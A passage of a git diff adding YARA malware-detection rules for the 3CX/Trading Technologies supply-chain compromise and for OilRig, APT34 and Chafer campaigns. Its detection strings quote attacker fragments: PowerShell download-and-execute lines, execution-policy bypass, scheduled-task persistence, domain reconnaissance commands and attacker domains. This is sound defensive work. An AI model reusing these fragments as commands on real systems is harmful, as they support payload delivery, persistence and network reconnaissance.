+      $hex3 = { 6e 61 6d 65 3d 22 61 63 74 69 6f 6e 22 25 73 25 73 25 73 25 73 }
+      $hex_uni3 = { 6e 00 61 00 6d 00 65 00 3d 00 22 00 61 00 63 00 74 00 69 00 6f 00 6e 00 22 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 }
+      */
+      $s3 = "name=\"action\"%s%s%s%s" ascii wide
+      /*
+      $hex4 = { 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 25 73 25 73 25 75 25 73 }
+      $hex_uni4 = { 6e 00 61 00 6d 00 65 00 3d 00 22 00 74 00 6f 00 6b 00 65 00 6e 00 22 00 25 00 73 00 25 00 73 00 25 00 75 00 25 00 73 }
+      */
+      $s4 = "name=\"token\"%s%s%u%s" ascii wide
+      $str1 = "--N9dLfqxHNUUw8qaUPqggVTpX-" wide ascii nocase
+   condition:
+      any of ($s*) or $str1
+}
+
+rule APT_NK_TradingTech_ForensicArtifacts_Apr23_1 {
+   meta:
+      description = "Detects forensic artifacts, file names and keywords related the Trading Technologies compromise UNC4736"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      modified = "2023-04-21"
+      score = 60
+      id = "f79a5321-4f22-52d9-aa83-4aa750ecc036"
+   strings:
+      $x1 = "www.tradingtechnologies.com/trading/order-management" ascii wide
+      
+      $xf1 = "X_TRADER_r7.17.90p608.exe" ascii wide
+      $xf2 = "\\X_TRADER-ja.mst" ascii wide
+      $xf3 = "C:\\Programdata\\TPM\\TpmVscMgrSvr.exe" ascii wide
+      $xf4 = "C:\\Programdata\\TPM\\winscard.dll" ascii wide
+
+      $fp1 = "<html"
+   condition:
+      not uint16(0) == 0x5025
+      and 1 of ($x*) and not 1 of ($fp*)
+}
+
+rule SUSP_TH_APT_UNC4736_TradingTech_Cert_Apr23_1 {
+   meta:
+      description = "Threat hunting rule that detects samples signed with the compromised Trading Technologies certificate after May 2022"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
+      date = "2023-04-20"
+      score = 65
+      id = "9a05fba9-9466-5b69-9207-27ad01d6eb8b"
+   strings:
+      $s1 = { 00 85 38 A6 C5 01 8F 50 FC } /* serial number */
+      $s2 = "Go Daddy Secure Certificate Authority - G2" /* CA */
+      $s3 = "Trading Technologies International, Inc"
+   condition:
+      pe.timestamp > 1651363200 /* Sunday, May 1, 2022 12:00:00 AM */
+      and all of them
+}
diff --git a/yara-Neo23x0/apt_oilrig.yar b/yara-Neo23x0/apt_oilrig.yar
new file mode 100644
index 0000000..8414d59
--- /dev/null
+++ b/yara-Neo23x0/apt_oilrig.yar
@@ -0,0 +1,326 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-10-12
+   Identifier: OilRig Malware Campaign
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule OilRig_Malware_Campaign_Gen1 {
+   meta:
+      description = "Detects malware from OilRig Campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      hash1 = "d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34"
+      hash2 = "80161dad1603b9a7c4a92a07b5c8bce214cf7a3df897b561732f9df7920ecb3e"
+      hash3 = "662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f"
+      hash4 = "903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996"
+      hash5 = "c4fbc723981fc94884f0f493cb8711fdc9da698980081d9b7c139fcffbe723da"
+      hash6 = "57efb7596e6d9fd019b4dc4587ba33a40ab0ca09e14281d85716a253c5612ef4"
+      hash7 = "1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1"
+      hash8 = "9f31a1908afb23a1029c079ee9ba8bdf0f4c815addbe8eac85b4163e02b5e777"
+      hash9 = "0cd9857a3f626f8e0c07495a4799c59d502c4f3970642a76882e3ed68b790f8e"
+      hash10 = "4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281"
+      hash11 = "4e5b85ea68bf8f2306b6b931810ae38c8dff3679d78da1af2c91032c36380353"
+      hash12 = "c3c17383f43184a29f49f166a92453a34be18e51935ddbf09576a60441440e51"
+      hash13 = "f3856c7af3c9f84101f41a82e36fc81dfc18a8e9b424a3658b6ba7e3c99f54f2"
+      hash14 = "0c64ab9b0c122b1903e8063e3c2c357cbbee99de07dc535e6c830a0472a71f39"
+      hash15 = "d874f513a032ccb6a5e4f0cd55862b024ea0bee4de94ccf950b3dd894066065d"
+      hash16 = "8ee628d46b8af20c4ba70a2fe8e2d4edca1980583171b71fe72455c6a52d15a9"
+      hash17 = "55d0e12439b20dadb5868766a5200cbbe1a06053bf9e229cf6a852bfcf57d579"
+      hash18 = "528d432952ef879496542bc62a5a4b6eee788f60f220426bd7f933fa2c58dc6b"
+      hash19 = "93940b5e764f2f4a2d893bebef4bf1f7d63c4db856877020a5852a6647cb04a0"
+      hash20 = "e2ec7fa60e654f5861e09bbe59d14d0973bd5727b83a2a03f1cecf1466dd87aa"
+      hash21 = "9c0a33a5dc62933f17506f20e0258f877947bdcd15b091a597eac05d299b7471"
+      hash22 = "a787c0e42608f9a69f718f6dca5556607be45ec77d17b07eb9ea1e0f7bb2e064"
+      hash23 = "3772d473a2fe950959e1fd56c9a44ec48928f92522246f75f4b8cb134f4713ff"
+      hash24 = "3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4"
+      hash25 = "f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e"
+
+      id = "d291edf1-b086-5c61-b131-61c9f6e1267b"
+   strings:
+      $x1 = "Get-Content $env:Public\\Libraries\\update.vbs) -replace" ascii
+      $x2 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {waitfor haha /T 2}\" & Chr(34), 0" fullword ascii
+      $x3 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
+      $s4 = "CreateObject(\"WScript.Shell\").Run cmd, 0o" fullword ascii
+
+      /* Base64 encode config */
+      /* $global:myhost = */
+      $b1 = "JGdsb2JhbDpteWhvc3QgP" ascii
+      /* HOME="%public%\Libraries\" */
+      $b2 = "SE9NRT0iJXB1YmxpYyVcTGlicmFyaWVzX" ascii
+      /* Set wss = CreateObject("wScript.Shell") */
+      $b3 = "U2V0IHdzcyA9IENyZWF0ZU9iamVjdCgid1NjcmlwdC5TaGV" ascii
+      /* $scriptdir = Split-Path -Parent -Path $ */
+      $b4 = "JHNjcmlwdGRpciA9IFNwbGl0LVBhdGggLVBhcmVudCAtUGF0aCA" ascii
+      /* \x0aSet wss = CreateObject("wScript.Shell") */
+      $b5 = "DQpTZXQgd3NzID0gQ3JlYXRlT2JqZWN" ascii
+      /* whoami & hostname */
+      $b6 = "d2hvYW1pICYgaG9zdG5hb" ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 700KB and 1 of them )
+}
+
+rule OilRig_Malware_Campaign_Mal1 {
+   meta:
+      description = "Detects malware from OilRig Campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      hash1 = "e17e1978563dc10b73fd54e7727cbbe95cc0b170a4e7bd0ab223e059f6c25fcc"
+      id = "c577f0ff-1a33-5d7f-93b2-27df8d414bce"
+   strings:
+      $x1 = "DownloadExecute=\"powershell \"\"&{$r=Get-Random;$wc=(new-object System.Net.WebClient);$wc.DownloadFile(" ascii
+      $x2 = "-ExecutionPolicy Bypass -File \"&HOME&\"dns.ps1\"" fullword ascii
+      $x3 = "CreateObject(\"WScript.Shell\").Run Replace(DownloadExecute,\"-_\",\"bat\")" fullword ascii
+      $x4 = "CreateObject(\"WScript.Shell\").Run DnsCmd,0" fullword ascii
+      $s1 = "http://winodwsupdates.me" ascii
+   condition:
+      ( uint16(0) == 0x4f48 and filesize < 4KB and 1 of them ) or ( 2 of them )
+}
+
+rule OilRig_Malware_Campaign_Gen2 {
+   meta:
+      description = "Detects Oilrig malware samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      modified = "2023-01-07"
+      hash1 = "c6437f57a8f290b5ec46b0933bfa8a328b0cb2c0c7fbeea7f21b770ce0250d3d"
+      hash2 = "293522e83aeebf185e653ac279bba202024cedb07abc94683930b74df51ce5cb"
+      id = "2ca0aadf-c5a8-5c89-ab1e-0c06d2ab8516"
+   strings:
+      $s1 = "%userprofile%\\AppData\\Local\\Microsoft\\" ascii
+      $s2 = "$fdn=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" fullword ascii
+      $s3 = "&{$rn = Get-Random; $id = 'TR" fullword ascii
+      $s4 = "') -replace '__',('DNS'+$id) | " fullword ascii
+      $s5 = "\\upd.vbs" ascii
+      $s6 = "schtasks /create /F /sc minute /mo " fullword ascii
+      $s7 = "') -replace '__',('HTP'+$id) | " fullword ascii
+      $s8 = "&{$rn = Get-Random -minimum 1 -maximum 10000; $id = 'AZ" fullword ascii
+      $s9 = "http://www.israirairlines.com/?mode=page&page=14635&lang=eng<" fullword ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 4000KB and 2 of ($s*) ) or ( 4 of them )
+}
+
+rule OilRig_Malware_Campaign_Gen3 {
+   meta:
+      description = "Detects Oilrig malware samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      modified = "2023-01-07"
+      hash1 = "5e9ddb25bde3719c392d08c13a295db418d7accd25d82d020b425052e7ba6dc9"
+      hash2 = "bd0920c8836541f58e0778b4b64527e5a5f2084405f73ee33110f7bc189da7a9"
+      hash3 = "90639c7423a329e304087428a01662cc06e2e9153299e37b1b1c90f6d0a195ed"
+      id = "1cd5f7ea-4ae6-5642-b8b3-050cfe724e69"
+   strings:
+      $x1 = "source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlrrrr" fullword ascii
+      $x2 = "\\Libraries\\fireueye.vbs" ascii
+      $x3 = "\\Libraries\\fireeye.vbs&" wide
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 100KB and 1 of them )
+}
+
+rule OilRig_Malware_Campaign_Mal2 {
+   meta:
+      description = "Detects malware from OilRig Campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      hash1 = "65920eaea00764a245acb58a3565941477b78a7bcc9efaec5bf811573084b6cf"
+      id = "7a6c38e7-bed9-524b-b4a5-c6c895b9c049"
+   strings:
+      $x1 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {(Get-Content $env:Public\\Libraries\\update.vbs) -replace '__',(Get-Random) | Set-C" ascii
+      $x2 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
+      $x3 = "mailto:Mohammed.sarah@gratner.com" fullword wide
+      $x4 = "mailto:Tarik.Imam@gartner.com" fullword wide
+      $x5 = "Call Extract(DnsPs1, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\dns.ps1\")" fullword ascii
+      $x6 = "2dy53My5vcmcvMjAw" fullword wide /* base64 encoded string 'w.w3.org/200' */
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 200KB and 1 of them )
+}
+
+rule OilRig_Campaign_Reconnaissance {
+   meta:
+      description = "Detects Windows discovery commands - known from OilRig Campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      hash1 = "5893eae26df8e15c1e0fa763bf88a1ae79484cdb488ba2fc382700ff2cfab80c"
+      id = "a4fe24b8-290a-5a4a-9f81-bbbd9aae6c6e"
+   strings:
+      $s1 = "whoami & hostname & ipconfig /all" ascii
+      $s2 = "net user /domain 2>&1 & net group /domain 2>&1" ascii
+      $s3 = "net group \"domain admins\" /domain 2>&1 & " ascii
+   condition:
+      ( filesize < 1KB and 1 of them )
+}
+
+rule OilRig_Malware_Campaign_Mal3 {
+   meta:
+      description = "Detects malware from OilRig Campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/QMRZ8K"
+      date = "2016-10-12"
+      hash1 = "02226181f27dbf59af5377e39cf583db15200100eea712fcb6f55c0a2245a378"
+      id = "e5967b39-5d21-5a6a-a1b5-2ec122f16444"
+   strings:
+      $x1 = "(Get-Content $env:Public\\Libraries\\dns.ps1) -replace ('#'+'##'),$botid | Set-Content $env:Public\\Libraries\\dns.ps1" fullword ascii
+      $x2 = "Invoke-Expression ($global:myhome+'tp\\'+$global:filename+'.bat > '+$global:myhome+'tp\\'+$global:filename+'.txt')" fullword ascii
+      $x3 = "('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))" fullword ascii
+   condition:
+      ( filesize < 10KB and 1 of them )
+}
+
+rule OilRig_Malware_Nov17_13 {
+   meta:
+      description = ""
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ClearskySec/status/933280188733018113"
+      date = "2017-11-22"
+      hash1 = "4f1e2df85c538875a7da877719555e21c33a558ac121eb715cf4e779d77ab445"
+      id = "c45b8d30-6a5f-5dac-a202-6748ba7b7bd2"
+   strings:
+      $x1 = "\\Release\\dnscat2.pdb" ascii
+      $x2 = "cscript.exe //T:20 //Nologo " fullword ascii
+
+      $a1 = "taskkill /F /IM cscript.exe" fullword ascii
+      $a2 = "cmd.exe /c " fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+        pe.imphash() == "0160250adfc97f9d4a12dd067323ec61" or
+        1 of ($x*) or
+        all of ($a*)
+      )
+}
+
+rule Oilrig_IntelSecurityManager_macro {
+   meta:
+      description = "Detects OilRig malware"
+      author = "Eyal Sela (slightly modified by Florian Roth)"
+      reference = "Internal Research"
+      date = "2018-01-19"
+      id = "4cccc0df-a225-5500-be55-f4ae346e066e"
+   strings:
+      $one1 = "$c$m$$d$.$$" ascii wide
+      $one2 = "$C$$e$r$$t$u$$t$i$$l$" ascii wide
+      $one3 = "$$%$a$$p$p$$d$a$" ascii wide
+      $one4 = ".$t$$x$t$$" ascii wide
+      $one5 = "cu = Replace(cu, \"$\", \"\")" ascii wide
+      $one6 = "Shell Environ$(\"COMSPEC\") & \" /c"
+      $one7 = "echo \" & Chr(32) & cmd & Chr(32) & \" > \" & Chr(34)" ascii wide
+
+      $two1 = "& SchTasks /Delete /F /TN " ascii wide
+      $two2 = "SecurityAssist" ascii wide
+      $two3 = "vbs = \"cmd.exe /c SchTasks" ascii wide
+      $two4 = "/Delete /F /TN Conhost & del" ascii wide
+      $two5 = "NullRefrencedException" ascii wide
+      $two6 = "error has occurred in user32.dll by" ascii wide
+      $two7 = "NullRefrencedException" ascii wide
+   condition:
+      filesize < 300KB and 1 of ($one*) or 2 of ($two*)
+}
+
+rule Oilrig_IntelSecurityManager {
+   meta:
+      description = "Detects OilRig malware"
+      author = "Eyal Sela"
+      reference = "Internal Research"
+      date = "2018-01-19"
+      id = "4cccc0df-a225-5500-be55-f4ae346e066e"
+   strings:
+      $one1 = "srvResesponded" ascii wide fullword
+      $one2 = "InetlSecurityAssistManager" ascii wide fullword
+      $one3 = "srvCheckresponded" ascii wide fullword
+      $one4 = "IntelSecurityManager" ascii wide
+      $one5 = "msoffice365cdn.com" ascii wide
+      $one6 = "\\tmpCa.vbs" ascii wide
+      $one7 = "AAZFinish" ascii wide fullword
+      $one8 = "AAZUploaded" ascii wide fullword
+      $one9 = "ABZFinish" ascii wide fullword
+      $one10 = "\\tmpCa.vbs" ascii wide
+   condition:
+      filesize < 300KB and any of them
+}
+
+/*
+   YARA Rule Set
+   Author: Florian Roth
+   Date: 2019-04-17
+   Identifier: Leaked APT34 / OilRig tools
+   Reference: https://twitter.com/0xffff0800/status/1118406371165126656
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_APT34_PS_Malware_Apr19_1 {
+   meta:
+      description = "Detects APT34 PowerShell malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
+      date = "2019-04-17"
+      hash1 = "b1d621091740e62c84fc8c62bcdad07873c8b61b83faba36097ef150fd6ec768"
+      id = "6a082c5a-ee5b-5002-9148-61bbcfedfe68"
+   strings:
+      $x1 = "= get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" ascii
+      $x2 = "Write-Host \"excepton occured!\"" ascii /* :) */
+
+      $s1 = "Start-Sleep -s 1;" fullword ascii
+      $s2 = "Start-Sleep -m 100;" fullword ascii
+   condition:
+      1 of ($x*) or 2 of them
+}
+
+rule APT_APT34_PS_Malware_Apr19_2 {
+   meta:
+      description = "Detects APT34 PowerShell malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
+      date = "2019-04-17"
+      hash1 = "2943e69e6c34232dee3236ced38d41d378784a317eeaf6b90482014210fcd459"
+      id = "c3bdadfd-2164-5e33-be84-d5d5de8eb048"
+   strings:
+      $x1 = "= \"http://\" + [System.Net.Dns]::GetHostAddresses(\"" ascii
+      $x2 = "$t = get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" fullword ascii
+      $x3 = "| Where { $_ -notmatch '^\\s+$' }" ascii
+
+      $s1 = "= new-object System.Net.WebProxy($u, $true);" fullword ascii
+      $s2 = " -eq \"dom\"){$" ascii
+      $s3 = " -eq \"srv\"){$" ascii
+      $s4 = "+\"<>\" | Set-Content" ascii
+   condition:
+      1 of ($x*) and 3 of them
+}
+
+rule APT_APT34_PS_Malware_Apr19_3 {
+   meta:
+      description = "Detects APT34 PowerShell malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
+      date = "2019-04-17"
+      modified = "2023-01-06"
+      hash1 = "27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed"
+      id = "361582e7-94e3-5608-9ba9-31fa20c37cf0"
+   strings:
+      $x1 = "Powershell.exe -exec bypass -file ${global:$address1}"
+      $x2 = "schtasks /create /F /ru SYSTEM /sc minute /mo 10 /tn"
+      $x3 = "\"\\UpdateTasks\\UpdateTaskHosts\""
+      $x4 = "wscript /b \\`\"${global:$address1" ascii
+      $x5 = "::FromBase64String([string]${global:$http_ag}))" ascii
+      $x6 = ".run command1, 0, false\" | Out-File " ascii
+      $x7 = "\\UpdateTask.vbs" ascii
+      $x8 = "hUpdater.ps1" fullword ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/apt_oilrig_chafer_mar18.yar b/yara-Neo23x0/apt_oilrig_chafer_mar18.yar
new file mode 100644
index 0000000..f9f0372
--- /dev/null
+++ b/yara-Neo23x0/apt_oilrig_chafer_mar18.yar
@@ -0,0 +1,107 @@
+/*
+   Yara Rule Set
+   Author: Markus Neis, Florian Roth
+   Date: 2018-03-21
+   Identifier: OilRig / Chafer activity
+   Reference: https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Chafer_Mimikatz_Custom  {
+   meta:
+      description = "Detects Custom Mimikatz Version"
+      author = "Florian Roth (Nextron Systems) / Markus Neis"
+      reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+      date = "2018-03-22"
+      hash1 = "9709afeb76532566ee3029ecffc76df970a60813bcac863080cc952ad512b023"
+      id = "80f751c3-d7ca-5ff6-a905-38650e1c4ec5"
+   strings:
+      $x1 = "C:\\Users\\win7p\\Documents\\mi-back\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them
+}
+
+rule Chafer_Exploit_Copyright_2017 {
+   meta:
+      description = "Detects Oilrig Internet Server Extension with Copyright (C) 2017 Exploit"
+      author = "Markus Neis"
+      reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+      date = "2018-03-22"
+      hash1 = "cdac69caad8891c5e1b8eabe598c869674dee30af448ce4e801a90eb79973c66"
+      id = "f78ae4f5-0569-5fc8-ab25-ebe38afd9f3c"
+   strings:
+      $x1 = "test3 Internet Server Extension" fullword wide
+      $x2 = "Copyright (C) 2017 Exploit" fullword wide
+
+      $a1 = "popen() failed!" fullword ascii
+      $a2 = "cmd2cmd=" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and (
+         1 of ($x*) or all of ($a*)
+      )
+}
+
+rule Chafer_Portscanner {
+   meta:
+      description = "Detects Custom Portscanner used by Oilrig"
+      author = "Markus Neis"
+      reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+      date = "2018-03-22"
+      hash1 = "88274a68a6e07bdc53171641e7349d6d0c71670bd347f11dcc83306fe06656e9"
+      id = "8db934c3-fb0d-5c87-9096-1ee8fb16f9a5"
+   strings:
+      $x1 = "C:\\Users\\RS01204N\\Documents\\" ascii
+      $x2 = "PortScanner /ip:google.com  /port:80 /t:500 /tout:2" fullword ascii
+      $x3 = "open ports of host/hosts" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them
+}
+
+rule Oilrig_Myrtille {
+   meta:
+      description = "Detects Oilrig Myrtille RDP Browser"
+      author = "Markus Neis"
+      reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+      date = "2018-03-22"
+      modified = "2022-12-21"
+      hash1 = "67945f2e65a4a53e2339bd361652c6663fe25060888f18e681418e313d1292ca"
+      id = "e742ab0c-0e21-569e-a100-e5082dc1d372"
+   strings:
+      $x1 = "\\obj\\Release\\Myrtille.Services.pdb" ascii
+      $x2 = "Failed to notify rdp client process exit (MyrtilleAppPool down?), remote session {0} ({1})" fullword wide
+      $x3 = "Started rdp client process, remote session {0}" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 50KB and 1 of them
+}
+
+rule Chafer_Packed_Mimikatz {
+   meta:
+      description = "Detects Oilrig Packed Mimikatz also detected as Chafer_WSC_x64 by FR"
+      author = "Florian Roth (Nextron Systems) / Markus Neis"
+      reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+      date = "2018-03-22"
+      hash1 = "5f2c3b5a08bda50cca6385ba7d84875973843885efebaff6a482a38b3cb23a7c"
+      id = "abd34c6a-7d99-5f52-be8e-a7d634d61255"
+   strings:
+      $s1 = "Windows Security Credentials" fullword wide
+      $s2 = "Minisoft" fullword wide
+      $x1 = "Copyright (c) 2014 - 2015 Minisoft" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and ( all of ($s*) or $x1 )
+}
+
+rule Oilrig_PS_CnC {
+   meta:
+      description = "Powershell CnC using DNS queries"
+      author = "Markus Neis"
+      reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
+      date = "2018-03-22"
+      hash1 = "9198c29a26f9c55317b4a7a722bf084036e93a41ba4466cbb61ea23d21289cfa"
+      id = "cbc5689c-37ff-59b6-9e3a-7d8577021f70"
+   strings:
+      $x1 = "(-join $base32filedata[$uploadedCompleteSize..$($uploadedCompleteSize" fullword ascii
+      $s2 = "$hostname = \"D\" + $fileID + (-join ((65..90) + (48..57) + (97..122)|" ascii
+   condition:
+      filesize < 40KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_oilrig_oct17.yar b/yara-Neo23x0/apt_oilrig_oct17.yar
new file mode 100644
index 0000000..c350843
--- /dev/null
+++ b/yara-Neo23x0/apt_oilrig_oct17.yar
@@ -0,0 +1,116 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-18
+   Identifier: OilRig
+   Reference: https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule OilRig_Strings_Oct17 {
+   meta:
+      description = "Detects strings from OilRig malware and malicious scripts"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+      date = "2017-10-18"
+      modified = "2022-12-21"
+      id = "edf7c7ca-0c58-5507-8d99-83078ff8947a"
+   strings:
+      $x1 = "%localappdata%\\srvHealth.exe" fullword wide ascii
+      $x2 = "%localappdata%\\srvBS.txt" fullword wide ascii
+      $x3 = "Agent Injector\\PolicyConverter\\Inner\\obj\\Release\\Inner.pdb" ascii
+      $x4 = "Agent Injector\\PolicyConverter\\Joiner\\obj\\Release\\Joiner.pdb" ascii
+      $s3 = ".LoadDll(\"Run\", arg, \"C:\\\\Windows\\\\" ascii
+   condition:
+      filesize < 800KB and 1 of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-18
+   Identifier: OilRig
+   Reference: https://goo.gl/JQVfFP
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule OilRig_ISMAgent_Campaign_Samples1 {
+   meta:
+      description = "Detects OilRig malware from Unit 42 report in October 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JQVfFP"
+      date = "2017-10-18"
+      hash1 = "119c64a8b35bd626b3ea5f630d533b2e0e7852a4c59694125ff08f9965b5f9cc"
+      hash2 = "0ccb2117c34e3045a4d2c0d193f1963c8c0e8566617ed0a561546c932d1a5c0c"
+      id = "237fe7af-a2ab-51ae-bc96-3af46b08622a"
+   strings:
+      $s1 = "###$$$TVqQAAMAAAAEAAAA" ascii
+      $s2 = "C:\\Users\\J-Win-7-32-Vm\\Desktop\\error.jpg" fullword wide
+      $s3 = "$DATA = [System.Convert]::FromBase64String([IO.File]::ReadAllText('%Base%'));[io.file]::WriteAllBytes(" ascii
+      $s4 = " /c echo powershell > " fullword wide ascii
+      $s5 = "\\Libraries\\servicereset.exe" wide
+      $s6 = "%DestFolder%" fullword wide ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 3000KB and 2 of them
+}
+
+rule OilRig_ISMAgent_Campaign_Samples2 {
+   meta:
+      description = "Detects OilRig malware from Unit 42 report in October 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JQVfFP"
+      date = "2017-10-18"
+      hash1 = "fcad263d0fe2b418db05f47d4036f0b42aaf201c9b91281dfdcb3201b298e4f4"
+      hash2 = "33c187cfd9e3b68c3089c27ac64a519ccc951ccb3c74d75179c520f54f11f647"
+      id = "08771b23-1d0e-5da7-b42c-005ed257e2d1"
+   strings:
+      $x1 = "PolicyConverter.exe" fullword wide
+      $x2 = "SrvHealth.exe" fullword wide
+      $x3 = "srvBS.txt" fullword wide
+
+      $s1 = "{a3538ba3-5cf7-43f0-bc0e-9b53a98e1643}, PublicKeyToken=3e56350693f7355e" fullword wide
+      $s2 = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and ( 2 of ($x*) or 3 of them )
+}
+
+rule OilRig_ISMAgent_Campaign_Samples3 {
+   meta:
+      description = "Detects OilRig malware from Unit 42 report in October 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JQVfFP"
+      date = "2017-10-18"
+      hash1 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
+      id = "e26510bd-d183-566a-a185-ebed7a81401c"
+   strings:
+      $x1 = "cmd /c schtasks /query /tn TimeUpdate > NUL 2>&1" ascii
+      $x2 = "schtasks /create /sc minute /mo 0002 /tn TimeUpdate /tr" fullword ascii
+      $x3 = "-c  SampleDomain.com -m scheduleminutes" fullword ascii
+      $x4 = ".ntpupdateserver.com" fullword ascii
+      $x5 = ".msoffice365update.com" fullword ascii
+
+      $s1 = "out.exe" fullword ascii
+      $s2 = "\\Win32Project1\\Release\\Win32Project1.pdb" ascii
+      $s3 = "C:\\windows\\system32\\cmd.exe /c (" ascii
+      $s4 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
+      $s5 = "Agent configured successfully" fullword ascii
+      $s6 = "\\runlog*" ascii
+      $s7 = "can not specify username!!" fullword ascii
